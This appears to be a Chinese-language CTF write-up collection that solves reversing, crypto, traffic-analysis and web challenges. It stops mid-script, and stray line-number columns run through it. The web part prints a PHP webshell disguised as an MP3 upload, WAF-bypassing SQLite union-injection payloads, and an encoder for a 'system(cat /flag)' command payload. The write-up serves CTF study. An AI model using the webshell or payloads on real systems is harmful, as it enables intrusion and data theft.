特别点:在 fn() 的开头,程序对 ng 做了 16 次 ng[i] ^= 17 并写回内存。也就是说 每次调用 fn() 前,ng 都被异或 0x11,并且这种修改是累积保留的 —— 所以每组 TEA 使用的 key 都不同(密钥链式变化)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import struct

def tea_decrypt(v, k):
v0, v1 = v
delta = 0x9E3779B9
sum_ = (delta * 32) & 0xffffffff
for _ in range(32):
v1 = (v1 - (((v0 << 4) + k[2]) ^ (v0 + sum_) ^ ((v0 >> 5) + k[3]))) & 0xffffffff
v0 = (v0 - (((v1 << 4) + k[0]) ^ (v1 + sum_) ^ ((v1 >> 5) + k[1]))) & 0xffffffff
sum_ = (sum_ - delta) & 0xffffffff
return v0, v1

# 初始 ng
ng = [ord(c) for c in "sp\177vuctp|xeb|hv~"]

def to_uint32(x): return x & 0xffffffff
ezgm = [
1210405119, 710975774, -90350153, -1958008304,
-745722482, 67707510, -86515270, -1728462407
]
ezgm = [to_uint32(x) for x in ezgm]

flag = b""
for i in range(0, len(ezgm), 2):
# 每次 fn 调用前,ng[i] ^= 17
ng = [b ^ 0x11 for b in ng]
key = struct.unpack("<4I", bytes(ng[:16]))
v0, v1 = tea_decrypt((ezgm[i], ezgm[i+1]), key)
flag += struct.pack("<2I", v0, v1)

print("十六进制:", flag.hex())
try:
print("flag{" + flag.decode('utf-8') + "}")
except:
print("flag{" + flag.decode('latin1') + "}")
--> flag{4553m81y_5_s0o0o0_345y_jD5yQ5mD9}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>

int main(void){
char v7[] = "cH4_1elo{ookte?0dv_}alafle___5yygume"; // 程序里 v7 的常量
int order[36] = {
27,5,6,9,28,8,1,11,4,15,29,17,22,18,34,16,
19,7,13,35,2,14,21,0,32,25,20,23,26,30,10,33,3,12,24,31
};
char v8[37];
memset(v8, 0, sizeof(v8));
for (int k = 0; k < 36; ++k) {
v8[ order[k] ] = v7[k];
}
v8[36] = '\0';
printf("reconstructed flag: %s\n", v8);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
__int64 __fastcall encrypt(__int64 a1, __int64 a2)
{
unsigned __int64 v2; // rax
__int64 v4; // [rsp+0h] [rbp-40h] BYREF
char v5; // [rsp+27h] [rbp-19h] BYREF
char *v6; // [rsp+28h] [rbp-18h]
char v7; // [rsp+37h] [rbp-9h]
unsigned __int64 i; // [rsp+38h] [rbp-8h]

v6 = (char *)&v4 + 39;
std::string::basic_string<std::allocator<char>>(a1, &unk_1400C7000, v6);
std::__new_allocator<char>::~__new_allocator(&v5);
for ( i = 0; ; ++i )
{
v2 = std::string::length(a2);
if ( i >= v2 )
break;
v7 = *(_BYTE *)std::string::operator[](a2, i);
if ( (unsigned int)(v7 - 48) > 9 )
{
if ( islower(v7) || isupper(v7) )
std::string::operator+=(a1, (unsigned int)(char)(-69 - v7));
else
std::string::operator+=(a1, (unsigned int)v7);
}
else
{
std::string::operator+=(a1, (unsigned int)(char)(105 - v7));
}
}
return a1;
}
## 脚本
expected = bytes.fromhex(
"69736668474a09747e63550a790a75546a636a09547e636a5164757e777b04057141"
) # 题目中内存的 34 字节 expected

desired_v8 = bytes([b ^ 0x3C for b in expected])

def encrypt_char(v7):
# v7: int 0-255
if (v7 - 48) & 0xFFFFFFFF > 9:
ch = chr(v7)
if ch.islower() or ch.isupper():
return ((-69 - v7) & 0xFF)
else:
return v7
else:
return (105 - v7) & 0xFF

# 逐字反推
res = []
for out in desired_v8:
found = None
for c in range(32, 127): # 可打印 ASCII
if encrypt_char(c) == out:
found = chr(c)
break
if found is None:
raise Exception("no candidate for byte %02x" % out)
res.append(found)

flag = ''.join(res)
print(flag) # -> flag{E4sy_R3v3rSe_e4Sy_eNcrypt10n}

附件中有俩文件abcdefghijklmnopqrstuvwxyz1234567890-_!{}.pcapngnewkeyboard.pcapng
逻辑是前者提供了键盘依次按下abcdefghijklmnopqrstuvwxyz1234567890-_!{}发送的包
后者则是键盘按下flag信息发送的包
用wireshark结合cmd输出有用的信息 并通过脚本比对

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
tshark -r newkeyboard.pcapng -T fields -e usbhid.data -Y "usbhid.data"
//筛选出所有包含 USB HID 数据的包,然后只打印每个匹配包的 usbhid.data 字段



import sys, re
from collections import defaultdict

# The character sequence defined by the challenge (in order)
CHARSEQ = list("abcdefghijklmnopqrstuvwxyz1234567890-_!{}")

HEX_RUN = re.compile(r'[0-9A-Fa-f]+')

def read_hex_lines_loose(path):
"""Read file and return list of pure-hex strings (lowercase), skip blank lines.
Accepts lines containing offsets or other text; extracts hex runs and concatenates them.
"""
out = []
with open(path, 'r', encoding='utf-8', errors='ignore') as f:
for line in f:
s = line.strip()
if not s:
continue
# find all hex runs and join them (this handles lines like "0000 01 00 02 ... ")
runs = HEX_RUN.findall(s)
if not runs:
continue
hexline = ''.join(runs).lower()
# require even length and at least 2 bytes
if len(hexline) >= 4 and len(hexline) % 2 == 0:
out.append(hexline)
return out

def combined_val_from_report_hex(hexline):
"""Combine bytes from index 2 onward (3rd byte) into a little-endian integer.
hexline is a continuous hex string like '0100000200...'
"""
# ensure even length
blen = len(hexline) // 2
# convert to bytes list
b = [int(hexline[i:i+2], 16) for i in range(0, len(hexline), 2)]
# combine from index 2 onward
val = 0
shift = 0
for byte in b[2:]:
val |= (byte << shift)
shift += 8
return val

def build_bitpos_to_char_map(map_lines):
"""From mapping lines, build bitpos -> char mapping.
We iterate map_lines and for each NON-ZERO mapping line we map the next CHARSEQ char
to all set bits in that line (first appearance wins for a specific bit).
"""
bitpos_to_char = {}
used_chars = []
char_index = 0
for line in map_lines:
# skip fully-empty reports
try:
v_check = int(line[2:], 16) # check bytes after modifier
except Exception:
v_check = 0
if v_check == 0:
continue
if char_index >= len(CHARSEQ):
break
ch = CHARSEQ[char_index]
v = combined_val_from_report_hex(line)
pos = 0
vv = v
while vv:
if vv & 1:
if pos not in bitpos_to_char:
bitpos_to_char[pos] = ch
vv >>= 1
pos += 1
used_chars.append(ch)
char_index += 1
return bitpos_to_char, used_chars

def decode_keylog(bitpos_to_char, log_lines):
"""Decode keylog into a string using bitpos_to_char mapping.
Only append characters for *newly pressed* bits (v & ~last_v).
"""
last_v = 0
out = []
unmapped = defaultdict(int)
for i, line in enumerate(log_lines):
v = combined_val_from_report_hex(line)
if v == 0:
last_v = 0
continue
new_bits = v & (~last_v)
if new_bits == 0:
last_v = v
continue
pos = 0
vv = new_bits
while vv:
if vv & 1:
if pos in bitpos_to_char:
out.append(bitpos_to_char[pos])
else:
out.append('?')
unmapped[pos] += 1
vv >>= 1
pos += 1
last_v = v
return ''.join(out), unmapped

def main():
if len(sys.argv) != 3:
print("Usage: python decode_custom_hid.py keymap.txt keylog.txt")
sys.exit(1)

keymap_file = sys.argv[1]
keylog_file = sys.argv[2]

map_lines = read_hex_lines_loose(keymap_file)
log_lines = read_hex_lines_loose(keylog_file)

if not map_lines:
print("Error: keymap.txt 没有任何有效 hex 数据 (请检查文件内容/路径)")
sys.exit(1)
if not log_lines:
print("Error: keylog.txt 没有任何有效 hex 数据 (请检查文件内容/路径)")
sys.exit(1)

bitpos_to_char, used_chars = build_bitpos_to_char_map(map_lines)

print("已建立 bitpos -> char(示例前 50):")
for p in sorted(bitpos_to_char.keys())[:50]:
print(f" bit {p:3d} -> {bitpos_to_char[p]}")
print("映射所用字符(顺序):", ''.join(used_chars))
print("---- 解码中 ----")

decoded, unmapped = decode_keylog(bitpos_to_char, log_lines)
print("\nDecoded string:")
print(decoded)
print()

if unmapped:
print("未映射的 bit positions (pos:count):")
for p,c in sorted(unmapped.items()):
print(f" {p:3d} : {c}")
print("\n注意: 未映射位会以 '?' 出现在输出中。若存在未映射位,可把 keymap.txt 的更多有效行粘入使其映射到 CHARSEQ。")
else:
print("所有出现的 bit 都已映射。")

if __name__ == "__main__":
main()

hash:2c796053053a571e9f913fd5bae3bb45e27a9f510eace944af4b331e802a4ba0
利用查询情报平台VirusTotal查看该文件的信息
34

分析数据包 发现一段类似加密逻辑的PHP代码
18
这段代码的意思是flag先是被base64加密了 随后每隔10个字符为一段 进行了随机的strrev(字符反转)或str_rot13(ROT13)加密
最后赋值于$hahahahahaha 最后这段密文再base64加密一次 通过Cookie:token=被传出去了

1
2
# 利用wireshark的过滤语法来搜索一下
http.cookie contains "token="
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# decode_token.py
import base64, codecs

TOKEN = "R2FYdDNaaHhtWlMwS21TR0szRVZxSUF4QVV5c0hLVzlWZXN0MllwVmdDOUJUTlBaVlM9PQ==" # <- 替换为 pcap 中的 token

def rot13(s):
return codecs.decode(s, 'rot_13')

def try_decode(token):
try:
s = base64.b64decode(token).decode('utf-8', errors='ignore')
except Exception as e:
s_bytes = base64.b64decode(token)
s = ''.join(chr(b) for b in s_bytes)
print("第一层 base64 解出:", repr(s))
chunks = [s[i:i+10] for i in range(0, len(s), 10)]
print("分块数:", len(chunks))
n = len(chunks)
total = 1 << n
print("穷举组合数:", total)
found = 0
for mask in range(total):
parts = []
for i in range(n):
if (mask >> i) & 1:
parts.append(chunks[i][::-1])
else:
parts.append(rot13(chunks[i]))
candidate = ''.join(parts)
try:
dec = base64.b64decode(candidate)
except:
continue
# 过滤:包含 flag{ 或 全部为可打印 ascii
if b'flag{' in dec.lower() or all(32 <= b < 127 for b in dec):
print("---- 可能结果 mask:", bin(mask))
print("candidate (重组后 base64 字符串):", candidate)
try:
print("decoded ->", dec.decode('utf-8'))
except:
print("decoded bytes ->", dec)
found += 1
print("共找到候选:", found)

if __name__ == "__main__":
try_decode(TOKEN)


1
2
3
4
5
6
7
8
//构建一个简单的webshell,改名为shell.mp3
<?php
if(isset($_GET['c'])){
echo shell_exec($_GET['c']);
} else {
echo 'SHELL_UP';
}
?>

防火墙逻辑很多 屏蔽了%23 / < 空格 引号 and ,等等查询的时候要用的语句
绕过关键点:
空格与%20被屏蔽 使用%0a(换行)代替
逗号被屏蔽 使用join方法绕过
最终payload:

1
2
3
4
id=1%0aunion%0aselect%0a*%0afrom%0a((select%0agroup_concat(name)%0afrom%0asqlite_master%0a)A%0ajoin%0a(select%0a1)B%0ajoin%0a(select%0a1)C%0ajoin%0a(select%0a1)D%0ajoin%0a(select%0a1)E)
//回显用传参
id=1%0aunion%0aselect%0a*%0afrom%0a((select%0agroup_concat(config_value)%0afrom%0asys_config%0a)A%0ajoin%0a(select%0a1)B%0ajoin%0a(select%0a1)C%0ajoin%0a(select%0a1)D%0ajoin%0a(select%0a1)E)
//爆flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import re
import pyperclip
import time
import sys

# 用于存储上次剪贴板的内容,以检测是否有新的表达式
last_clipboard_content = ""

def calculate_token(expression):
"""
解析表达式字符串,使用当前时间计算 Token,并返回结果。
"""
# 正则表达式寻找 "* 数字) ^ 0x十六进制"
match = re.search(r'\*\s*(\d+)\)\s*\^\s*(0x[0-9a-fA-F]+)', expression)

if not match:
# 如果不是有效的表达式格式,则忽略
return None

try:
multiplier = int(match.group(1))
xor_hex = match.group(2)
xor_value = int(xor_hex, 16)
except Exception:
return None

# 获取当前 Unix 时间戳
t = int(time.time())

# 计算 Token: (t * multiplier) ^ xor_value
token = (t * multiplier) ^ xor_value

print("\n[+] 发现新表达式并计算:")
print(f" - 表达式: {expression.strip()}")
print(f" - 乘数/异或值: {multiplier} / {xor_hex}")
print(f" - 使用时间戳 (t): {t}")
print(f" - 计算出的 Token: {token}")

return str(token)

def monitor_clipboard():
"""
持续监控剪贴板内容,检测到有效表达式后进行计算和替换。
"""
global last_clipboard_content
print(">>> 脚本正在运行。请在网页上点击'开始验证'并复制新的表达式。")
print(">>> 发现新表达式后,答案会瞬间替换您的剪贴板内容。")
print(">>> 按 Ctrl+C 停止脚本。")

# 初始化 last_clipboard_content
try:
last_clipboard_content = pyperclip.paste().strip()
except pyperclip.PyperclipException:
print("[-] 错误:无法访问剪贴板。请确保您在命令行环境中运行,或者尝试手动输入版本。")
sys.exit(1)


while True:
try:
# 1. 读取当前剪贴板内容
current_clipboard_content = pyperclip.paste().strip()

# 2. 检测内容是否更新 且 长度合理(排除空内容和很短的内容)
if current_clipboard_content != last_clipboard_content and len(current_clipboard_content) > 20:

# 3. 尝试计算 Token
token_result = calculate_token(current_clipboard_content)

if token_result:
# 4. 计算成功,将 Token 答案写入剪贴板
pyperclip.copy(token_result)
print(f"\n<<< 答案已写入剪贴板!请立即粘贴提交。>>>")
# 更新 last_clipboard_content 为计算结果,避免重复触发
last_clipboard_content = token_result
else:
# 如果不是有效的表达式,仅更新 last_clipboard_content,避免重复触发检查
last_clipboard_content = current_clipboard_content

time.sleep(0.5) # 每 0.5 秒检查一次剪贴板

except KeyboardInterrupt:
print("\n脚本已停止。")
break
except pyperclip.PyperclipException:
# 忽略一些剪贴板访问错误
pass
except Exception as e:
print(f"[-] 发生未知错误: {e}")
time.sleep(1)


if __name__ == "__main__":
monitor_clipboard()

指示文档说你可以使用 Cyberchef 中 *To Hex* » *Find/Replace* » *From Hex* 的流程来某个字节进行特例化修改。
这样操作是为了在构造payload途中将可能被剔除的空格进行还原
以下为构建payload的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
# encoding: utf-8


import sys
import base64

def rot13(s: str) -> str:
# ROT13 仅对 ASCII 字母有效
result = []
for ch in s:
o = ord(ch)
if 'a' <= ch <= 'z':
result.append(chr((o - ord('a') + 13) % 26 + ord('a')))
elif 'A' <= ch <= 'Z':
result.append(chr((o - ord('A') + 13) % 26 + ord('A')))
else:
result.append(ch)
return ''.join(result)

def atbash(s: str) -> str:
result = []
for ch in s:
if 'a' <= ch <= 'z':
offset = ord(ch) - ord('a')
result.append(chr(ord('a') + (25 - offset)))
elif 'A' <= ch <= 'Z':
offset = ord(ch) - ord('A')
result.append(chr(ord('A') + (25 - offset)))
else:
result.append(ch)
return ''.join(result)

def make_cipher(php_payload: str, space_replacement='\t') -> str:

# 1) 用制表符替换普通空格,避免服务端 str_replace(' ', '', ...) 删除
payload_with_tabs = php_payload.replace(' ', space_replacement)

# 2) 先对 payload 做 ROT13(服务器在最后会做 ROT13,所以我们先做)
after_rot13 = rot13(payload_with_tabs)

# 3) 再对结果做 Atbash(服务器首先做 Atbash,所以我们要逆向构造)
s = atbash(after_rot13)

# 4) 把 s 作为 bytes 进行 base64 编码
b = s.encode('utf-8')
b64 = base64.b64encode(b).decode('ascii')
return b64

def main():
if len(sys.argv) >= 2:
input_payload = ' '.join(sys.argv[1:])
else:
input_payload = 'system("cat /flag");'


cipher = make_cipher(input_payload, space_replacement='\t')
print("原始 payload:")
print(input_payload)
print("\n说明:脚本已把普通空格替换为制表符 '\\t'(避免服务器删除 0x20),")
print("并按 atbash(ROT13(payload_with_tabs)) -> base64 生成了 cipher:\n")
print(cipher)

if __name__ == '__main__':
main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# SageMath 自动识别 Cayley 表群名
from sage.all import *

# --------------------------- CATALOG ---------------------------
CATALOG = [
("C2", lambda: CyclicPermutationGroup(2)),
("C3", lambda: CyclicPermutationGroup(3)),
("C4", lambda: CyclicPermutationGroup(4)),
("C5", lambda: CyclicPermutationGroup(5)),
("C6", lambda: CyclicPermutationGroup(6)),
("C7", lambda: CyclicPermutationGroup(7)),
("C8", lambda: CyclicPermutationGroup(8)),
("C9", lambda: CyclicPermutationGroup(9)),
("C10", lambda: CyclicPermutationGroup(10)),
("V4", lambda: AbelianGroup([2,2])),
("S3", lambda: SymmetricGroup(3)),
("D4", lambda: DihedralGroup(4)),
("D5", lambda: DihedralGroup(5)),
("D6", lambda: DihedralGroup(6)),
("Q8", lambda: QuaternionGroup()),
("A4", lambda: AlternatingGroup(4)),
("A5", lambda: AlternatingGroup(5)),
]

# --------------------------- Helpers ---------------------------

def is_abelian_table(T):
n = len(T)
return all(T[i][j] == T[j][i] for i in range(n) for j in range(n))

def table_same(T1, T2):
"""判断两个 Cayley 表是否同构(暴力匹配)"""
n = len(T1)
from itertools import permutations
for perm in permutations(range(n)):
match = True
for i in range(n):
for j in range(n):
if T1[i][j] != perm[T2[perm[i]][perm[j]]]:
match = False
break
if not match:
break
if match:
return True
return False

# --------------------------- 自动识别函数 ---------------------------

def identify_group(T):
n = len(T)
abelian = is_abelian_table(T)
candidates = []
for key, ctor in CATALOG:
G = ctor()
if G.order() != n:
continue
# 根据 abelian 性质初步筛选
if abelian != G.is_abelian():
continue
# 构造群表
elems = list(G)
idx_by_elem = {elems[i]: i for i in range(n)}
T_candidate = [[idx_by_elem[elems[a]*elems[b]] for b in range(n)] for a in range(n)]
if table_same(T, T_candidate):
candidates.append(key)
return candidates


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import math
import random
from functools import reduce
from math import gcd

# ------------ 你给出的数值(直接复制自你贴出的输出) ------------
primes_list = [
8477643094111283590583082266686584577185935117516882965276775894970480047703089419434737653896662067140380478042001964249802246254766775288215827674566239,
7910991244809724334133464066916251012653855854025088993280923310153569870514093484293150987057836939645880428872351249598065661847436809250099607617398229,
12868663117540247120940164330605349884925779832327002530579867223566756253418944553917676755694242046142851695033487706750006566539584075228562544644953317
]

n1 = 1103351600126529748374237534378639752005563260397057273760573608668234841858898339963615180586483636658319719258259564340229731088477043006707066258091746453519875771328756343070392346553837475869985292233339882321767365588480914243055530194543710833400735694644740966837509139443272712871728933520755003149497543272631963356726446399042360341133139923381402765176034620742095462597690819317740258280338778466308360122325510768573457366480478480385099879072314101166576014811788437611871531848011762293407180575205681864374034973560073644731757180275405672624629974899658185645498677923049149478738083257882839079796420483489134608949730373829870700049152830490730902518823469250714236113622490232617166274965015245948264281265453208875232918994116540222173029738472689551464384951129495828658025526216028826258099588572669439254177489891457890498930044291769038333452721765661715836795838845421437984152253836745540547878024331492328801233425013069672422548913381714868180440419922587534373534388179645778998201569812711853469607955639409976100938326204393436455902117700715705355730254907473694496862186927081288536664564066273905636691443629865742113665395817897790346568115147261785693069547062993147965228097215778787698574672103567611954541526351385121096946876318405181900957517179318858167322380305506577864659070587276190351263272904670121000123739762817165611376508091511049581310489960967300251226150505529874043827860587179066433478573304632672443028389332137578559069790875583860034559992961597964011009181097461053565357444468759142467793785272517357594961007684369171923169825343428400994582000709315829746271356743493827706669902956302087422710335869361908872578360718630332916867987882367454381486160119341248986730614715669587555561672656107579415221691270769054441036888212622679174466809685017295395823904506545225068526453243179279430769878809345179954207934650512040934969514434321887565917951423932360150276928683390148666338790317001765138293050858448249492058987889761085236104153306884365020403974305552987123976314900738336243171779096705121428628914344115125836293982077268043357822313817090167616525512714228298048543723340688062975654817272989686281447834032081689520522343318726816659742944874587243087717935463623631288732784108299093601104113561688659145661286269339180833210463

c1 = 1091994761217634826072124019708574984391652131019528859451478177360336520455071879664626056517127684886792263267184750289726966173475531785135908239241367011964947254146686336678625127107000203921535502636024125382397949549706019108806905113568387688784083651867765356465676713044867529224095280990952281722377729904633765755308727317586804384907594623294542255582608130775388385053656500091188492219892541287152759373311871679053567569991598739628072091647402994694057021522875429987401797108991466209720726320411739418901734326490258573985380323870664455719118307333460877640654186421881374126846465164012283741829305792336376443671697322944983680753186871994926812712407530175535547953488409667363778877011722921746615125168842335755090712330314248078688305813574126414154357295682111730319771541764882123530538798904329448342477283010679916534388272354852606444335501019923314748714020060783702757991765107811664795881473290112012642711848840732656792842975595985262637352884148989392358729413049666423809444629233355604344713121576947744271550672311509709353155584615401385981281541568915650140285513857950097872392262841978506457072907666348887936981254691271750737368646952613446340505887570613771043863966115924851279285010321193299940403084752305457659188900451883509679442577291500194294702408740417770241347854055121038455584689346661759142226424655750649030196509606345959868857460928822458178193914427975718432613693148519385509070885413086890691471063639321214058351800789483569828355240522324245612035847073723555128381268497293297681153943700076717509367055194706714770699658667364019792069384855913700111098207862666478388154325649690787295929427544059466206456378068191323286585251490682952650730101051661446454500997013269750318207079005140046631065420740924251847948208391204635801689730778074655515676216581230345037704163062457051532737078339281175699645868527505281984564077081473213204937490995858702477009964928872064904754834804222961572810639265783286770899262602346777948115933216112376126550352514674411338374863486761612733848198090788549337632188615953986569772932102409611086086895003705261003974939487286850347660140334361903821934552381535024019082394626749532280515222512480387681995937963724398131252527927016338174692268363933916957519992512787514236065140642709723084266949

# par2 values
n2 = 1069018081462192233874980694931144545150390355151142000407896565228521856087497130221328822828336193888433906258622424173888905902703892967253752403237818439004204769185744957222426788163474091322195131517000927031632213563726678357776820914860304114493023487392954636569155416533134778017635963554249754152905136768251720862406591818283210776943594065154793598910172412634428403766286774221252340847853800584819732893065160890727141088203583945705491817754798199

hint1 = 495128350277196206878301144662871873237030348510695923954264742873861239639964327065778936381957512315649691671343380037835210964239285388639258116089512827565613815144843995253866231195560373946746849139176701974882655518646303907103018798645711804858249793838527221003421990186067508970406658504653011309012705975088331579176215562874130854040538446696646570783420605205142219423250083326857924937357413604293802370900521919578742651150371880416910794941782372

hint2 = 30328561797365977072611520167046226865857127358764834983211668172910299946455309984910564878419440651867811045905957544019080032899770755776597512870488988655573901143704158135658656276142062054235425241921334990614594054774876139797881802290465401101513930547809082303438739954539239681192173563314964619128522116071538744700209974655230351192503911493028021717763873423132332205605117704777006410273001461242351682504368760936763922017247768057874236213463076

hint3 = 20884722618082876001516601155402590958389763080024067634953470674302186115943562475648388511118550021010685094074280890845364756164094187193286427464829840

c2 = 548415661734126053738347374438337003873176731288953351164055019598761821990636552806558989407452529293973596759395078164177029251755832478675308995116633955485067347066419466003081030015784908106772410713523387155248930421498438336128348929737424937920603679054765413736671822930257854740643178209639013528748572597042833138551717910328899462934527011212318128877188460373648545379405946354668400634037669394938860103705689139981117990256660685216959315741336968
# ------------------------------------------------------------------

# ----------------- par1: 用已知素因子列表还原 m1 -----------------
def invmod(a, m):
# 擴展歐几里得
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError("no inverse")
return x % m

def extended_gcd(a, b):
if b == 0:
return (a, 1, 0)
g, x1, y1 = extended_gcd(b, a % b)
return (g, y1, x1 - (a // b) * y1)

def recover_m1_from_n1(primes, n1_val, c1_val, e=65537):
# 1) 计算每个 prime 的幂次 t_i
t_list = []
tmp = n1_val
for p in primes:
cnt = 0
while tmp % p == 0:
tmp //= p
cnt += 1
if cnt == 0:
raise ValueError("给定的 prime 不整除 n1 ?")
t_list.append(cnt)
if tmp != 1:
# 说明给定 primes 列表可能不全
print("[!] 余下部分不为1,可能 primes 列表不完整。剩余 bitlen:", tmp.bit_length())
print("[*] par1: prime 指数 t_i =", t_list)

# 2) 计算 phi(p_i^{t_i}) = p^{t_i-1}*(p-1)
phis = []
mod_list = []
for p, t in zip(primes, t_list):
ph = p**(t-1) * (p-1)
phis.append(ph)
mod_list.append(p**t)
# 3) 计算 d = e^{-1} mod lcm(phis)
from math import lcm
L = 1
for ph in phis:
L = lcm(L, ph)
try:
d = invmod(e, L)
except Exception as ex:
print("[!] 无法计算逆元 e mod lcm(phi),异常:", ex)
# 仍可尝试使用 pow(c1, 1, n1) 或者直接尝试 CRT approach
return None

# 4) 用 d 解密
m = pow(c1_val, d, n1_val)
return m


# ----------------- 主流程 -----------------
def main():
print("[*] start par1 recovery ...")
m1 = recover_m1_from_n1(primes_list, n1, c1)
if m1 is None:
print("[!] par1 恢复失败。")
else:
try:
b = m1.to_bytes((m1.bit_length()+7)//8, 'big')
print("[+] par1 恢复到的 bytes (hex):", b.hex())
print("[+] par1 恢复到字符串(可能包含前半 flag):", b.decode('utf-8', errors='replace'))
except Exception as e:
print("[!] 转换为字符串失败:", e)

if __name__ == '__main__':
main()

1
2
3
4
[*] start par1 recovery ...
[*] par1: prime 指数 t_i = [3, 5, 7]
[+] par1 恢复到的 bytes (hex): 666c61677b4f6f6f6f6f365f7930755f6b6e30775f4633726d
[+] par1 恢复到字符串(可能包含前半 flag): flag{Ooooo6_y0u_kn0w_F3rm

后半段思路为后半段通过 gcd(n2, c2 - hint2^e) 抠出 r,再用 hint3 恢复 p,q,继而 RSA 解密得到 m mod pq,与 m mod r 用 CRT 合并得到完整 m2;与 par1 恢复出的 m1 拼接并用 long_to_bytes 得到最终 flag 字符串 @t_and_Eu13r_v3ry_w3ll!!}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# recover_flag.py
from Crypto.Util.number import long_to_bytes, inverse
from math import isqrt
from math import gcd

# --------- 你从题目/输出中得到的值(下面为会话中提供的真实数) ----------
# par2 values (来自题目输出)
n2 = 1069018081462192233874980694931144545150390355151142000407896565228521856087497130221328822828336193888433906258622424173888905902703892967253752403237818439004204769185744957222426788163474091322195131517000927031632213563726678357776820914860304114493023487392954636569155416533134778017635963554249754152905136768251720862406591818283210776943594065154793598910172412634428403766286774221252340847853800584819732893065160890727141088203583945705491817754798199

hint1 = 495128350277196206878301144662871873237030348510695923954264742873861239639964327065778936381957512315649691671343380037835210964239285388639258116089512827565613815144843995253866231195560373946746849139176701974882655518646303907103018798645711804858249793838527221003421990186067508970406658504653011309012705975088331579176215562874130854040538446696646570783420605205142219423250083326857924937357413604293802370900521919578742651150371880416910794941782372

hint2 = 30328561797365977072611520167046226865857127358764834983211668172910299946455309984910564878419440651867811045905957544019080032899770755776597512870488988655573901143704158135658656276142062054235425241921334990614594054774876139797881802290465401101513930547809082303438739954539239681192173563314964619128522116071538744700209974655230351192503911493028021717763873423132332205605117704777006410273001461242351682504368760936763922017247768057874236213463076

hint3 = 20884722618082876001516601155402590958389763080024067634953470674302186115943562475648388511118550021010685094074280890845364756164094187193286427464829840

c2 = 548415661734126053738347374438337003873176731288953351164055019598761821990636552806558989407452529293973596759395078164177029251755832478675308995116633955485067347066419466003081030015784908106772410713523387155248930421498438336128348929737424937920603679054765413736671822930257854740643178209639013528748572597042833138551717910328899462934527011212318128877188460373648545379405946354668400634037669394938860103705689139981117990256660685216959315741336968

e = 65537
# -------------------------------------------------------------------------

# Step A: use gcd trick to extract r (512-bit prime)
t = pow(hint2, e, n2) # hint2^e mod n2
g = gcd(n2, (c2 - t) % n2) # r divides c2 - hint2^e
r = g
if r == 1 or r == n2:
raise SystemExit("gcd trick failed: got trivial factor")

# Step B: compute N = p*q and recover p,q from S = hint3
N = n2 // r
S = hint3
discr = S*S - 4*N
sqrt_discr = isqrt(discr)
if sqrt_discr*sqrt_discr != discr:
raise SystemExit("discriminant not a perfect square (unexpected)")

p = (S - sqrt_discr)//2
q = (S + sqrt_discr)//2
assert p*q == N

# Step C: recover m mod pq (use RSA decryption modulo pq)
phi_pq = (p-1)*(q-1)
d_pq = inverse(e, phi_pq)
m_mod_pq = pow(c2, d_pq, N)

# Step D: m mod r is hint2 mod r (since hint2 ≡ m (mod r))
m_mod_r = hint2 % r

# Step E: CRT combine to get m mod n2 (which is original m2)
# simple pairwise CRT
def crt_pair(a1, n1, a2, n2):
m1 = inverse(n1, n2)
m2 = inverse(n2, n1)
x = (a1 * n2 * m2 + a2 * n1 * m1) % (n1*n2)
return x

m2 = crt_pair(m_mod_pq, N, m_mod_r, r)

# Step F: convert to bytes
m2_bytes = long_to_bytes(m2)
print("Recovered m2 (hex):", m2_bytes.hex())
print("Recovered m2 (ascii):", m2_bytes)

# 如果 par1 的前半你已经恢复为 hex bytes,如你给出的:
m1_hex = "666c61677b4f6f6f6f6f365f7930755f6b6e30775f4633726d" # 这是你之前得到的 hex
m1_bytes = bytes.fromhex(m1_hex)

flag_bytes = m1_bytes + m2_bytes
